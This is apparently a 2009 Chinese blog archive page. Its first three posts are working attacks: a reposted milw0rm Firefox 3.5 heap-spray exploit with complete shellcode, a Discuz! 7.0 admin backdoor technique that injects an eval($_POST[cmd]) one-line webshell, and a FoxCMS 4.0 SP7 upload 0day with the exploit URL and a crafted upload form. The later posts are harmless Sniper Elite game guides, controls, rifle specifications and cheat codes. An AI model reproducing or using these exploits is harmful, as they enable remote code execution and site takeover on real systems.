Firefox 3.5 Heap Spray Vulnerabilty

2009年7月15日 没有评论 87 views

<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
</br>
Author: SBerry aka Simon Berry-Byrne
</br>
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">
<p>
<FONT>                            
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw  </FONT>
</p>
</div>
<script language=JavaScript>

/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                       "%u652E%u6578%u9000");
/* Heap Spray Code */            
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)  
{
    fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)  
{
    sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()

function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
  {
   c=data.charAt(i);
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
   escData+=c;
  }
return escData;
}

function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0)  
        while (i<pTags.length)
        {
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0])  
            {
                searchArray[i+1]["str"] = oTags[0].innerHTML;
            }
            i++
        }
    }
}

function GenerateHTML()
{
    var html = "";
    for (i=1;i<searchArray.length;i++)
    {
        html += escapeData(searchArray[i]["str"])
    }    
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>

# milw0rm.com [2009-07-13]

分类: 技术文章 标签:

Discuz! 7.0 及以下版本后台拿webshell(无需创始人)

2009年7月15日 没有评论 165 views

作者:oldjun

我很少关心之类的漏洞,已经很少拿站了,遇到DZ更加只是路过,也没去过多关心DZ的漏洞或者去研究代码;前不久论坛被人留下一个shell,害我检查半天,不过既然遇到了,那就公布出来方便大家。

我先声明:
1.这个不是我首发,很多牛牛很早之前就发现了,但没人公布,ring04h牛那貌似有个:http://ring04h.googlepages.com/dzshell.txt,估计知道的人很多了,我研究的少,知道迟了,惭愧惭愧;
2.我从拿到shell的IIS日志知道这里可以利用,即styles.inc.php这个文件,于是看了下,找到利用办法。后来经flyh4t提醒,居然与ring04h的那个方法一样,我落后了...

好了,不废话,看代码:

<?php
......
if($newcvar && $newcsubst) {
if($db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) {
cpmsg('styles_edit_variable_duplicate', '', 'error');
} elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
cpmsg('styles_edit_variable_illegal', '', 'error');
}
$newcvar = strtolower($newcvar);
$db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
VALUES ('$id', '$newcvar', '$newcsubst')");
}//插入变量数据,From www.oldjun.com
......
updatecache('styles');//更新缓存(写文件),From www.oldjun.com
......
?>

这是为某一style风格增加变量的代码,把变量名与变量的值存入数据库,虽然post过来的数据daddslashes了,但入库之后又都是纯净的数据了。

这里涉及到一个正则问题,判断变量名的:!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]* /", $newcvar),其中“\x7f-\xff”是指ASCII码值在127~255之间的字符,它们经常作为中文字符的首字节出现,所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字母或者中文做变量名,没其他高深的匹配,随便测试了下,一般情况下这个正则等于虚设:

<?php
$newcvar=$_GET['newcvar'];
echo $newcvar;
echo "<br>";
if(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
echo "haha";
}else{
echo 'pass';
}
?>

下面看看updatecache这个函数,在include里的cache.func.php文件里,先从数据库取出来,经过一段处理最终写入文件,具体我不描述了,我只谈谈重点,看一段函数:

function getcachevars($data, $type = 'VAR') {
$evaluate = '';
foreach($data as $key => $val) {
if(is_array($val)) {
$evaluate .= "\$$key = ".arrayeval($val).";\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}

啥也不说了,处理了value没处理key,而这个key就是之前我们提交的,干净的存在数据库里的值。关于数组的key,大家可以参考下幻影旅团第三期《高级PHP代码审核技术》,那篇文章好多地方谈到key的问题,dz这里却忽视了...

于是可以直接拿shell了,利用方法(论坛地址改成自己的),先用管理员帐号登陆后台,无需论坛创始人,管理员等级即可:

http://www.oldjun.com/bbs/admincp.php?action=styles&operation=edit&id=1&adv=1

中,最下面有个“自定义模板变量”,变量中填:

OLDJUN', '#999');eval($_POST[cmd]);//

替换内容随便输入:1111,然后提交,一句话木马就产生了:

http://www.oldjun.com/bbs/forumdata/cache/style_1.php

如果你修改的style的id是2的话,对于的shell就是style_2.php。

这个风格模板可以导入导出的,于是有了ring04h的那个dzshell,嫌麻烦可以直接用那个导入风格获取shell。

分类: 技术文章 标签:

风讯 4.0 SP7 getshell 0day

2009年7月13日 没有评论 68 views

影响版本:<=4.0 sp7,前面的版本没去看,估计也能日。
利用条件,开启了文件上传功能,iis6环境。

漏洞描述:建立目录的地方,名称过滤上有失误,导致可以绕过过滤建立一个.asp目录
首先注册个账号访问http://www.bbb.com/User/CommPages/FolderImageList.asp?f_UserNumber=06150583700&Type=AddFolder&Path=/userfiles/
06150583700/aaa.asp//&CurrPath=/userfiles/06150583700
其中这个06150583700是你的userid,登录了直接可以看到,建立一个.asp目录

因为风讯浏览目录的地方也过滤了.,所以建立的子目录进不去。本地构造表单:

<form name="FileForm" method="post" enctype="multipart/form-data" action="http://www.bbb.com/
User/Commpages/UpFileSave.asp?Path=/userfiles/06150583700/aaa.asp">
    <input type="hidden" name="AutoReName" value="2"><br>
    <input type="hidden" name="Path" value="/userfiles/06150583700/aaa.asp">
    <input type="file" size="20" name="File1">
    <input type="hidden" name="FilesNum" value="1">
    <input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 ">
    <input type="reset" id="ResetForm" name="Submit3" value=" 重 填 ">
</form>
传个夹带一句话的图片上去
恶心的地方来了,传上去的文件名是日期+时间+5位随机数(可能是4位3位2位1位,反正最大5位),
这个我跟bink研究了半天,没有办法看到-_-,用管中窥豹有个暴力猜接上传路径的功能,
先在正常目录里上传个文件,卡一下本地跟远程的时间差,然后传到.asp

目录里,把秒数误差控制在3秒以内,开始跑吧~~然后自己该干嘛干嘛去,
RP过关的话几个小时内应该能出结果-_-
分类: 技术文章 标签:

狙击精英:攻略【超详细版】

2009年7月13日 没有评论 797 views

攻略:

为了写这个攻略,重新从新手玩了一遍,想尽量详细的记录每一个通过的细节。虽然网上也可以搜索到这个游戏的攻略,但基本就是一个版本到处粘贴,而且也不是很详细(但还是要感谢写攻略的人,毕竟也是看着攻略过来的)。另外,也的确是很喜欢这个游戏,虽然刚刚进入的时候也有点失望,但你越是玩到后面就会越是喜欢,看子弹回放一枪1000多米远的时候真是过瘾啊。(虽然前期就只能是几十米,可到后面你会在游戏里面越来越厉害,真正的成为一个“狙击精英”。补充:同可以配合看《杀手同盟》电影,同样的子弹回放镜头,除去子弹不同,别的都差不多,哈哈)欢迎同样喜欢这款游戏的朋友一起交流。

KARLSHOREST

阅读全文...

分类: 影音娱乐 标签: ,

狙击精英操作和攻略

2009年7月13日 没有评论 4,304 views

二。狙击精英游戏操作:

前.....................................................W

后.....................................................S

左.....................................................A

右.....................................................D

行走........................................左 SHIFT(按住不放)

加快速度......................................滚轮(上)

减慢速度......................................滚轮(下)

拾起/扔掉物品...............................G

地图/简报.....................................TAB

交谈.................................................T(联网功能)

己方交谈.........................................U(联网功能)

行动(如背伤员).........................E

详细目录..........................................I

变换姿势 .......................................Z

使用物品.........................................X

选择前一个物品/武器....................。

选择后一个物品/武器 ..................,

锁定目标.........................................Q

狙击模式........................................空格

望远镜模式.....................................B

行动/收起武器...............................C

拉近 ...............................................]

放远.................................................[

开火..........................................鼠标左键

上弹.................................................R

屏气.................................................F

手枪..................................................1

狙击枪..............................................2

机枪..................................................3

重武器..............................................4

手雷..................................................5和6

扔雷(选了手雷)......................鼠标右键(按住左键不放)

手雷瞄准(选了手雷)..............鼠标左键

i键打开附属武器菜单, <键和>键翻转, X键选择和使用武器. 其中地雷选中后X键埋下,S键向后拉拌线,再X键埋下.

Namco制作的《狙击精英》(Sniper Elite)做到了超乎玩家想象的地步,他们特别注意游戏中的每一个细节变化,尽可能进加强了游戏的互动性,在游戏中玩家随时感受到来自敌人的强大挑战。

《狙击精英》这款游戏故事发生在第二次世界之后期,地点是在德国的柏林。德国纳粹党人的势力已经开始逐步走向衰败。斯大林为了尽快掌握原子弹的制造技术,专门派遣苏联特务机关去窃取德国研究原子弹的机密情报。美国为了阻止它的这一行动,特派出伪装成德军的狙击手,潜入德国去阻止苏联先行一步获得原子弹的机密资料。这样一来,各国为了自己的利益秘密行动便展开了——

在新的游戏中,玩家扮演的是美国OSS(CIA的前身)的一名精英狙击手,主要任务是阻止苏联获取德国核武器研究成果的计划。为了阻止苏联的行动,玩家将乔装成一个德军士兵,抢先深入敌后阵线去打探军事秘密。在这个秘密行动中,玩家要随身携带各种必要武器,不停的四处转移,同时还要进行面对面的战斗、远距离的狙杀等活动。作战场面真实。遇上下雨天,阴冷的雨点不断落下,会让人感觉好似走进一个真实的世界去体会雨天作战的场面。视角变化非常灵活,不论玩家怎样移动都会觉得轻松自如。

在《狙击精英》这款游戏中,总共有28个任务需要玩家来完成。作战方式很自由,玩家可以单人完成,也可以双人合作来进行冒险活动。不过要注意的是,游戏中的作战动作设计非常专业,玩家要考虑重力,风力和心跳频率等因素对作战行动的影响。比如说距离敌人的目标很远,如果不考虑这些相关因素的影响,得玩家不但可能伤不到敌人,反而会打草惊蛇。让敌人会抓住你的准确位置,进行猛烈攻击。

Rebellion游戏公司特别强调,《狙击精英》绝对不是一款只有射击动作的游戏,它的重点主要集中在秘密行动和狙击这些地方上。。倘若玩家可以一枪爆头,那就可以观赏到慢镜头下子弹的轨迹特写,目送自己的子弹穿透敌人的头盖骨。游戏中提供了多种武器种类,比如有经常使用的G43、K98狙击枪,鲁格手枪,手榴弹,MG机关枪等武器。为了方便作战,玩家可以选择多种武器。只要你能够用你的枪瞄准敌人的头,敌人被子弹打得血肉模糊的画面马上可以呈现你的眼前,那种虐杀的成就感很爽的。

在游戏里占据有利的地形是非常重要的。但是有一点,玩家不能在有利的位置上长时间守候敌人。因为此时候敌人可能正在小心地搜寻你的位置,你还在莫名其妙的时候就会被敌人做掉。所以要对付狡猾的敌人,必须随时变换有利位置去应付,这样才不会被敌人发现。有的时候敌人还会作出阴险的伏击,这样谁先发现对方,谁就是这场对决的胜利者。

三。狙击精英 攻略:

KARLSHOREST

第一节 Meet the informant

开始在一个大的广场中间,先熟悉一下各个开关吧!这里先趴着慢慢潜行吧!
开始听到有敌人讲话的声音,就说明敌人离你不远了。多看看指南针,红色箭头表示你要完成的主要任务,绿色表示次要任务。
主要任务是一定要完成的。用狙击枪干掉几个敌人后,按指南针指示来到一座房子废墟中间,找到队友(一个通讯兵)完成任务1。
接着按箭头和他一起前进到桥另一边的房子废墟处,注意周围的敌人和坦克,以躲避为主。进入废墟找到一个受伤的兄弟,完成任务2。
接下来需要背起受伤的兄弟去和大部队汇合。按g键可以捡起地上的武器,如果长按g键在敌人的尸体上进行搜索,可以找到一些如血包之类的补给,
这个还是蛮有创意的。这个游戏中使用一些近距离作战武器,难度不是很大。
开始前进吧!远距离就多用狙击枪吧!找到队伍后完成任务3。
然后就是撤退了,位置在刚开始出来的广场那里,还记的吧!
这时会有一辆坦克出来拦截,火力凶猛。
会提示你要干掉它。用狙击枪吧!
击中坦克上面的一个油箱,轰!!!敌人上天了。
上前去坦克后面的街,OVER!

第二节 ASSASSINATE BOTMANN

开始和对友分两个方向前进,注意路上两个碉堡内的敌人,用狙击枪清除后继续前进。
这里要注意高处楼上的敌人狙击手,战友会帮你消灭的啦,抵挡一阵就好。
全部干掉后完成任务1和2。接着向路的右边进发,干掉几个冲出来的敌人后,占据AMNO DUMP。
这里好多枪啊补给一些吧,继续前进到街角,注意右边楼上的狙击手,和他对狙吧。
边杀边前进,来到坦克基地清光所有敌人后完成任务4。接着会有对友冲出来进入坦克基地,用火箭炮痛扁敌人坦克。
用我的狙击枪掩护他们啦!消灭光这里的敌人后完成任务5。
然后去坦克基地一处帐篷内找到大量补给,CG过后完成任务6并追加新的任务,慢慢回去开始的AMNO DUMP(弹药库啦)干掉附近一辆巡逻的坦克后,
使用TNT炸药,用狙击枪引爆,自己要离远一点,否则………,再次返回到坦克基地和军队内的兄弟们会合,OVER!

第三节 SNIPER IN NIGHT

这一关在晚上,没有夜视装置,哈哈,慢慢爬了!这里不要硬来,用无声手枪击毙开始巡逻的敌人!
不要一直走,那里火力太强,在街道的左边围墙处找到一个小洞后爬进去,完成任务1。
来到里面的广场后,用狙击枪将视野之内的所有敌人清光,注意高处的敌人。
完成任务往前有两辆卡车,慢慢靠上去放置TNT(用i键调出来)然后退回去用狙击枪射击爆炸,或者射油箱上的盖子,完成任务2。
然后跳下战壕去向前进发一路上的敌人不去管他,让他们去火拼吧!
来到最尽头出有一个雕像处,取得文件完成任务3。接着小心警戒,清光附近所有敌人后来到前方阵地处一个高射炮前面放置TNT方法同上,
轰上天后完成任务4,最后按指南针指示快速逃离至大门口。OVER!

第四节 Assassinate Bormann

开始多多补给吧!
一直走左转杀了两个巡逻的敌人继续前进几步。
CG过后会有个兄弟给你一直传说中的神狙SVT。
哈哈,这个厉害多了,换了它吧!(长按G键)任务1完成。
继续前进到广场处左转,这里敌人很多,使用冲锋枪吧!找到待命的卡车后,用TNT送它上天,完成任务2然后在附近的房子里找到敌人军官杀了他完成追加任务!
这时候会来一两小汽车,不用躲的,冲上去一顿乱枪打死车内的人赶紧跑回难道新的神狙SVT的地方过关!

EXTRACT THE AGENT

第一节 Miss Contact

开始将附近的敌人远距离灭杀后上到一座桥,敌人蜂拥而来,清光他们后完成任务1。
接着边打边冲,下桥后向另一座桥出发,反正顺着指示吧!
在桥下的一个房间内得到补给完成任务3。
接着按指示来到一个房间内找到墙后面的Miss Contact完成任务4,
最后还是按方向指示避开一路上的坦克走到离开的街上过关!

第二节 Meet The Courtier

开始向前进攻,杀光废墟上房子里的敌人后,在屋子前一辆轿车的敌人身上获得文件完成任务1,
接着看方向指示向前进发,注意这里高处的敌人SNIPER,听到坦克的声音尽量避开,前面有一辆装甲车拦路,
一定要打的啦,学着用火箭炮吧!干掉它后一路杀到路的尽头OVER!

第三节infiltrate the square

开始干掉几个从车上下来的敌人后,继续潜行!
到底左转向右前方进发,来到一个有雕像和坦克的广场上,进一个门遇见OSS AGENT!CG过后完成任务1。
去另一个方向杀掉一个敌人军官后获取他的ID和制服,往前不远处的一个房子内就是!
杀了他后并扛着他的尸体回到遇见OSS AGENT那里,
完成任务3,接着按箭头指示走吧,走几步就过关了!

第四节The French Cathedral

开始不要从中间的大路走,有个很破旧的房子内穿过去来到内侧广场。
悄悄潜入中间最高的钟楼房子!
刚才的那个OSS AGENT已经混入敌人内部可惜被发现了,现在他想全身而退了,用狙击枪掩护他吧!
这个场景有点象兄弟连了!
狠狠K完敌人后下楼回到这节刚开始的地方。CG动画,我方的战斗机根据情报来了个低空扫荡,COOL!
接着你可以杀入广场,将那些惊魂未定的敌人清光后,提示回到刚刚开始的那个地方,直接跑回去就可以了

第五节 Exflitrate the square

开始回到前面有个同伴军官OSS AGENT的地下室门口的雕像处门口,得到一些补给。
然后按箭头指示方向前进,在外面的街道口消灭几股敌人后完成任务1。
接着还是看地图,来到一个破旧的房子废墟处,趴下来钻进去里面的洞内,等外面的敌人过去之后就完成此节任务了!

KARLSHORST REPRISE

Destroy The Fuel Dump

这一关是夜里作战,开始尽量靠左边行进。注意岗楼里的哨兵,可以干掉他.
从基地正门进入,慢慢KILL里面的敌人,注意由于后面会有敌人军官乘火车进来,所以靠火车站附近的敌人尸体可以搬到隐蔽处.
如果等会让敌人军官下车看见尸体,任务就失败了!
然后去左边的两个油罐处放置定时炸弹,用左右方向键调节时间,建议在10分钟!
如果早爆炸的话会被发现的.然后去反方向另一个控制台放置炸弹完成任务1.这时候找个地方躲起来,任务提示有火车进站了, 敌人军官下车走进房子.
这里千万不要紧杀了他.CG画面后,提示可以进入杀了他取走资料,完成任务2,3.最后可以原路返回啦.
跑到任务开始的地方山洞里面进入后,完成任务!

The Scientists

第一节 Secure U-Bahn Station

开始附近有一点补给,接着下去到桥的右边过桥,之前可以先用狙击枪清理光视线之内的敌人。
按箭头来到河边的一个小船上得到补给完成任务1。
去前面的地道内进入后杀光敌人,到地道中间有一个通讯装置,CG过后搜查MESS AGE 完成任务2。
接着根据RADIO OFFER MESSAGE的指示去箭头指示的方向,就是刚开始出来的房子反面的广场,CLEAR敌人后完成任务3
最后跑去广场的内侧一角。结束本节!

第二节 Prevent Reinforcement

下雨了,开始向坦克处进发,注意躲避它的火力,还是闪啦!
来到后面小巷内,提示要快速消灭敌人军官,以防止他毁灭重要文件,在一处破房子内找到后杀了他完成任务1。
然后往前进发时敌人增援卡车前来,找个地方躲藏起来吧!等汽车停下来以后,干掉所有的敌人。
用手雷或TNT将三辆卡车全部炸毁完成任务2。
接着去旁边一间房间内搜索文件和补给完成任务3。
最后一路杀回去,就是刚开始出来的那里,顺利回到那里后结束本节!

第三节 Anhalter Station

开始出来进入火车站,,一旦警报触发会赶来很多敌人,
杀到楼上后完成任务1接着下楼清光火车附近的敌人完成任务2然后去火车头附近有个放置炸弹的标记处,TNT啦!
完成任务3。这时在去刚才的楼顶了望完成任务4。
这是CG敌人发现我的潜入了,会有敌人冲进来!
边杀边冲出去,这时敌人增援卡车也赶来了
。一定要快速消灭里面的敌人,不然他们会杀了科学家们!
CLEAR后结束本节!

RAID ON NORDSIG

第一节 Via The U-Bahn

开始在地下铁路前进,将下层的敌人清除光之后一路沿着铁路进发,
视野不是很好,所以多里用手雷吧!一路向前到底后,
上去二楼搜索每一个房间。把敌人消灭光后上去再上一个楼层后就过完这节了!

第二节 Approach To Nordsig

开始来到一个大广场左转,从小巷出去后左转在外面干掉几个敌人后,
来到街上在一大块木板掩体后面K一个了望哨兵后完成任务1。
继续前进,这里有一辆坦克,躲开它为上计!接着往前杀吧!
直走就OVER本节了

第三节Eliminate Guard port

开始向一个工厂区进发,在大门口干掉几个敌人后,
注意门口的装甲车,火力凶猛啊!从左边进入大楼,
一路杀过去到底的房间。完成任务1用狙击枪干掉几个对面房间的敌人!
出去后进入那个房子,杀上2楼CLEAR,在窗口可以得到一些补给完成任务2。
接着可以直接在窗口跳出去,到刚才的大楼顶上,那里有几个敌人狙击手,干掉他们后。
利用制高点的优势将厂区内的所有敌人都KILL!
完成任务3最后跑去刚开始进入厂区的第一个房间那里面有个门CG过后就结束本节了!

第四节 Nordsig HW Plant

进入车间在右边楼下的房间内取得爆炸物品和一些补给,完成任务1接着进入车间
,这里敌人很多,漫漫长路啊!然后到底出门消灭外面广场上的敌人后,
在中间一个木箱子里得到补给,然后去对面的大楼上楼来到一个车间,
这里下去杀了几个敌人后去正面两个大铁门处,这里会提示用定时炸弹。
(定时不能少于4分钟)放置好后找地方躲起来,小心离开远一点!炸开铁门后进去另外一个厂区,
按箭头在此区域搜索到一个房间内找到教授DR.MAX LOHMANN.
完成任务2原路返回车间内,在几个大的存储罐中找到一个手柄开启后完成任务3.
接着来到外面车间上二楼找到一个军官在干掉他之前取得密码,完成任务4.
接着要回去了,就是刚才来的那个大广场方向,回去对面的厂区内,
在二楼右边有一个房间内干掉三个敌人后利用刚才的密码打开保险库大门完成任务5

CG过后去到对面的房间找到无线电通讯装置,完成任务6。这里敌人很多,要有耐心打啊!
最后就是安全撤离了,
回到外面广场上吧!出门之前先将外面的敌人清光,特别是高处的狙击手!
然后跑到对面房子的外面楼梯上就可以结束本节了!

第五节 Assist Oss Team

开始在屋顶下来用狙击枪掩护队友们进入,
干掉下面院子里的所有敌人后下楼出去,这时会有一辆坦克车过来开火,哈哈干掉它吧
!可用手雷或TNT,用法都应该知道了吧!用TNT需要有耐心,手雷就需要技术了!
干掉它后完成任务2。接着会有队友进入厂区和自己会合,然后需要去厂区外的大楼处,
干掉几个躲在屋顶的敌人狙击手!清除完成后还是自己根据雷达上的箭头去指定的地点就结束本节了!

第六节 Exfiltrate Nordsig

开始干掉几个敌人后,可以顺着箭头指示慢慢前进,
在一个房间内和OSS同仁会面,这里可以得到终极武器ELITE SNIPE 这把枪的射程更远,
完成任务1接着任务提示可以去干掉地图上绿色标志的三个敌人狙击手,这个是分支任务,也可以不理!
一路按照箭头指示,边杀边前进啦。来到一个有大型的U字的地道口,进入地道后就完成此节了!

Recover The U2 Tech

第一节 Cut Communication

开始一些补给后,按箭头指示一路小心前进,
这时会有提示说需要干掉三个敌人的摩托车,就是分别完成任务1、2、3。
这里可以先从一个很破的房子左边的一条小道慢慢往前渗透,
可以看到门口有一辆摩托车和一个巡逻的敌人,远距离用狙击枪射杀他后,不要进入那个房子,
悄悄的走到门口一个大的木板处,利用手雷炸掉门口的摩托车和门里面可看见的那辆摩托车,
这里要注意隐蔽!
一旦被敌人发现,冲出来就很难完成任务!接着还是不要进去房子里,
从刚来的小路返回,出去后右转,也就是绕道房子的另一面,注意消灭附近的敌人,
这时任务提示的第三辆摩托车会开出来,注意干掉它后任务1.2.3就都完成了!
这时要快速冲入房子内在右边的一个房间内找到敌人军官干掉他后完成任务4,然后就是离开罗!
看看箭头指示吧!到了指定地方后就完成本节任务了!

第二节 Destroy Ammo Dump

大凡每节刚出来时候都有补给,不要忘了啦!
在左边的一条街上有两个小房间,进入消灭里面的敌人后,发现有一个通讯装置,给它一个手雷啦!
完成任务1。继续前进,敌人不多,按箭头指示可以找到前面不远处有几辆停着的卡车,用TNT结果它们完成任务2。
下面要做的就是去找弹药库了,不难!多看看地图!用TNT炸了这两个弹药库后,完成任务3和4,最后按指示安全抵达撤离地点就结束本节了!

第三节 Disable Katyushas

开始消灭几个敌人后和前面的自己人会合,SAY:EAGLE WATCH! 完成任务1。然后他会

要求你去前面的地区救出自己的一个伤员,按地图显示找到他完成任务2然后背他回到开始的地方来!
完成任务3。接着去东西两面的两个大广场干正事吧!
炸毁敌人的导弹发射车!一共有两处,导弹发射车周围屋顶会有多个狙击手在那里等着你,哈哈!
这里建议用爬得比较安全!找到这里不难,消灭敌人后然后还是使用TNT。
把两处的发射车都炸了以后就可以胜利回家了!
看看箭头的提示回去就完成本段了!

第四节 Holzmarkt Train Yard

开始靠街道的左边前进,往右会被装甲车机枪弹击中的哈哈!
一直到前面,有个卡车有敌人在下车的地方冲上去干掉他们,完成任务1.这里有些补给的。
然后回去刚才路上经过的火车站那里,冲入之前可以先用狙击枪干掉一些敌人!慢慢进入,敌人后不断出来,我们的目标是去炸毁化学物品灌装车厢。
圆形的那种啦!完成任务2后,就快速回到刚开始的地方,路上的敌人也不要去管他啦!
顺利到达结束本节!

第五节 The Schloss

夜里很黑,开始向大桥进发。
先干掉三个哨兵,否则等一下会腹背受敌..CG过后换冲锋枪一路就杀过去了!
清理完附近的敌人后完成任务1过了桥以后前面有个碉堡,进入继续清除吧!
完成任务2这是前面大楼的一楼有个通道可以直接上楼去,手雷!杀到楼顶会有CG画面,
提示要掩护下面的友军进入自己身处的大楼,多次利用狙击枪吧!
完了以后会有过场CG,大楼内部的一楼会有敌人冲出来,这时去另一面的窗口,还是用狙击枪掩护吧!
结束之后下楼,和队友们会合后结束本段!

Escape From Berlin

第一节 Extract the Polit

最后的任务了,开始看地图在敌人行车路线上等待,会听到远处有汽车的声音传来,找个地方躲起来。
用枪打中轮胎后两辆汽车会停下来!或者用地雷也可以..
去第二辆车里面就出自己的伤员。
完成任务1。接着他会要求你去指定的房子解救出他的兄弟,按箭头来到一个圆顶的天文馆内,
杀进去来到二楼就出兄弟!哈哈完成任务2,注意高楼上会有一个狙击手.接着就要回到刚才那个解救到的伤员处,
用按键E控制他跟随你走,小心路上的敌人!按箭头到达目的地过了本节!

第二节 journey to Tempelhof

会有敌人从两边冲上来, 注意全部消灭后, 会提示干掉两辆坦克,
用TNT吧, 然后消灭全部敌人后过关.

第三节 Tempelhof Airport

到了一个机场上,就是完成最后任务逃离柏林!
开始在飞机仓库内消灭几个敌人后,完成任务1。
接着有要求去油库安定时炸弹,制造混乱,可干可不干.
去对面最高的控制台顶层,这里注意用手枪!消灭后到达顶楼干掉一个军官后完成任务2。
然后可在那里用狙击枪打死两个高射机枪旁的敌人,分别在500米和1000米左右,还要干掉机车里的敌人,
注意风很大, 然后掩护从机库驶出的飞机, 狙击要求较高, 要迅速准确,并且有敌人从楼梯上来,用手雷吧。

四。狙击精英中狙击手的位置,这个帖子里面有详细的图文标注,凭此可以少挨不少黑枪哈

分类: 影音娱乐 标签: ,

巴雷特M82A1

2009年7月12日 没有评论 85 views

巴雷特公司的M82A1
  巴雷特M82A1是当今使用最广泛的大口径狙击步枪(反器材步枪)之一,几乎占领了.50狙击步枪市场的统治地位。目前至少已装备英国、法国、比利时、意大利、丹麦、芬兰、希腊、意大利、墨西哥、葡萄牙、荷兰、沙特阿拉伯、瑞典、西班牙、土耳其等30多个国家的军队或警察部队。M82A1也被广泛用作民间的.50口径射击比赛,用于1000码(911米)甚至更远距离上的射击比赛
  M82A1半自动狙击步枪,采用枪管短后坐原理,半自动发射方式。枪管短后座原理是著名枪械设计师勃朗宁(John M. Browning)开发的,而巴雷特将这种原理改进使之适合作为肩射武器的自
  M82A1自带机械瞄具,也可以安装光学瞄具。原枪配用巴雷特公司的10倍瞄准镜,而海军陆战队所用的则是与M40A1相同的10倍Unertl瞄准镜。
  M82A1可以迅速地分解成上机匣、下机匣及枪机框3部分。分解销位于机匣右侧,一个在弹匣前方,另一个在枪托底板附近。上下机匣是主要部分,为了保证其强度及耐磨性选用了高碳钢材料。下机匣联接两脚架、枪手底板及握把,其内部包括枪机部件及主要的弹簧装置。上机匣主要包括枪管部分,即枪管、枪管复进簧和缓冲器。焊接在上机匣上面的是机械瞄具、光学瞄准镜座及提把,而与内部焊接在一起的是枪管衬套及枪管止动销。当击发后,火药气体推动弹头沿枪管向前运动,同时又作用于弹壳底部,将推力传给枪机,再由枪机闭锁突笋传给枪管节套,最后通过枪机体传到枪机框后部。这样可以分散射击时产生的振动,避免损坏闭锁机构
  针对M82A1重量大的缺点,后来巴雷特公司又研究了M82A1LW,即轻重量型(Light Weight)M82A1,比标准型的M82A1轻约2.3kg,上机匣和两脚架改为铝质材料,枪机和机框质量减轻了约0.5kg,枪口制退器和一些小零件改由钛合金制成品。
  巴雷特M82A1的后坐力很小,这是因为一部分后坐能量作用于枪管、枪机和枪机框的向后运动及压缩复进簧,另外,枪本身也吸收了部分后坐能量,但最主要还是其高效的枪口制退器减少了大部分的后坐力,这就保证了射击时的舒适性及射击精度。枪托底部还有一个特种橡胶后座垫,据说后坐感觉比12号口径的霰弹枪要好,而后坐力明显比7.62mm口径的步枪要小。不过这个高效制退器有个缺点,就是每发射一发枪弹时从制退器喷出的火药气体都会在射手附近卷起大量尘土和松散颗粒。
  全长:1447.8 mm(57 in)
  枪管长:736.7 mm(29 in)
  枪管缠距:381 mm
  枪重:12.9 kg(28.5磅)
  弹匣容量:10 rds
  分解后最大长度:965.2 mm(38 in)
  最大射程:1830 m

分类: 影音娱乐 标签: ,

《狙击手:胜利的艺术》秘籍

2009年7月12日 没有评论 1,666 views

游戏秘籍:
  游戏中按 ~ 输入以下秘籍:
  秘籍 作用
  Cheat.GodMode() 无敌模式
  Cheat.AddAmmo() 子弹+500
  Cheat.FullHealth() 最大生命
  Cheat.GiveAllWeapons() 所有武器
  Cheat.TuneClip() 增加弹药量
  Cheat.TuneGun() 增加火力
  Cheat.GiveAllAmmo() 所有弹药
  Cheat.NextMission() 跳到下一关
  注意区分大小写,秘籍中间的“.”必须输入
  武器弹药相关的秘籍:
  注意:**代表对应武器弹药
